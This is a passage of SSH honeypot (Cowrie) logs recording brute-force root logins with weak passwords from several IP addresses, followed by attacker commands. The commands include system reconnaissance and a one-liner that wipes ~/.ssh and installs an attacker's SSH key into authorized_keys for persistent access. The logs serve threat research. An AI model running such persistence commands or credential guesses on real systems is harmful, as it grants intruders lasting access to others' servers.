25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:08.569527Z","src_ip":"101.44.96.62","session":"1e026669fd10","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"AA123456","message":"login attempt [root/AA123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:09.225021Z","src_ip":"101.44.96.62","session":"1e026669fd10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.184.141.117","src_port":51218,"dst_ip":"10.17.0.5","dst_port":22,"session":"def4e79b3bc0","protocol":"ssh","message":"New connection: 180.184.141.117:51218 (10.17.0.5:22) [session: def4e79b3bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:09.329104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:09.333540Z","src_ip":"180.184.141.117","session":"def4e79b3bc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:09.700444Z","src_ip":"101.44.96.62","session":"1e026669fd10","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:09.703352Z","src_ip":"101.44.96.62","session":"1e026669fd10","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:09.924066Z","src_ip":"101.44.96.62","session":"1e026669fd10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:09.929055Z","src_ip":"101.44.96.62","session":"1e026669fd10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:09.976581Z","src_ip":"180.184.141.117","session":"def4e79b3bc0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"QWErty123","message":"login attempt [root/QWErty123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:12.464772Z","src_ip":"180.184.141.117","session":"def4e79b3bc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:13.718460Z","src_ip":"180.184.141.117","session":"def4e79b3bc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:13.721858Z","src_ip":"180.184.141.117","session":"def4e79b3bc0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:13.725834Z","src_ip":"180.184.141.117","session":"def4e79b3bc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:13.952030Z","src_ip":"180.184.141.117","session":"def4e79b3bc0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:15.240052Z","src_ip":"180.184.141.117","session":"def4e79b3bc0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:15.244641Z","src_ip":"180.184.141.117","session":"def4e79b3bc0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:15.473958Z","src_ip":"180.184.141.117","session":"def4e79b3bc0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:15.477471Z","src_ip":"180.184.141.117","session":"def4e79b3bc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.184.141.117","src_port":49258,"dst_ip":"10.17.0.5","dst_port":22,"session":"25396870c9b5","protocol":"ssh","message":"New connection: 180.184.141.117:49258 (10.17.0.5:22) [session: 25396870c9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:15.684450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:15.689648Z","src_ip":"180.184.141.117","session":"25396870c9b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:15.904428Z","src_ip":"180.184.141.117","session":"25396870c9b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:16.757062Z","src_ip":"180.184.141.117","session":"25396870c9b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":41094,"dst_ip":"159.203.135.109","dst_port":22,"session":"69656488db25","protocol":"ssh","message":"New connection: 101.44.96.62:41094 (159.203.135.109:22) [session: 69656488db25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:21.801106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:21.805563Z","src_ip":"101.44.96.62","session":"69656488db25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:22.022387Z","src_ip":"101.44.96.62","session":"69656488db25","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"!QAZ@WSX","message":"login attempt [root/!QAZ@WSX] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:22.674470Z","src_ip":"101.44.96.62","session":"69656488db25","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:23.144531Z","src_ip":"101.44.96.62","session":"69656488db25","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:23.147913Z","src_ip":"101.44.96.62","session":"69656488db25","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:23.368573Z","src_ip":"101.44.96.62","session":"69656488db25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:23.372907Z","src_ip":"101.44.96.62","session":"69656488db25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":54612,"dst_ip":"159.203.135.109","dst_port":22,"session":"112d1c43c9dc","protocol":"ssh","message":"New connection: 91.92.240.199:54612 (159.203.135.109:22) [session: 112d1c43c9dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:28.036537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:28.412237Z","src_ip":"91.92.240.199","session":"112d1c43c9dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:28.416850Z","src_ip":"91.92.240.199","session":"112d1c43c9dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":55484,"dst_ip":"159.203.135.109","dst_port":22,"session":"17f17024dc7e","protocol":"ssh","message":"New connection: 101.44.96.62:55484 (159.203.135.109:22) [session: 17f17024dc7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:35.232632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:35.237185Z","src_ip":"101.44.96.62","session":"17f17024dc7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:35.454726Z","src_ip":"101.44.96.62","session":"17f17024dc7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:36.113908Z","src_ip":"101.44.96.62","session":"17f17024dc7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:37.333084Z","src_ip":"101.44.96.62","session":"17f17024dc7e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"12","message":"login attempt [root/12] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:38.865254Z","src_ip":"91.92.240.199","session":"112d1c43c9dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:40.461621Z","src_ip":"91.92.240.199","session":"112d1c43c9dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:40.465077Z","src_ip":"91.92.240.199","session":"112d1c43c9dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:40.468090Z","src_ip":"91.92.240.199","session":"112d1c43c9dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:56:40.471397Z","src_ip":"91.92.240.199","session":"112d1c43c9dc","protocol":"ssh"}
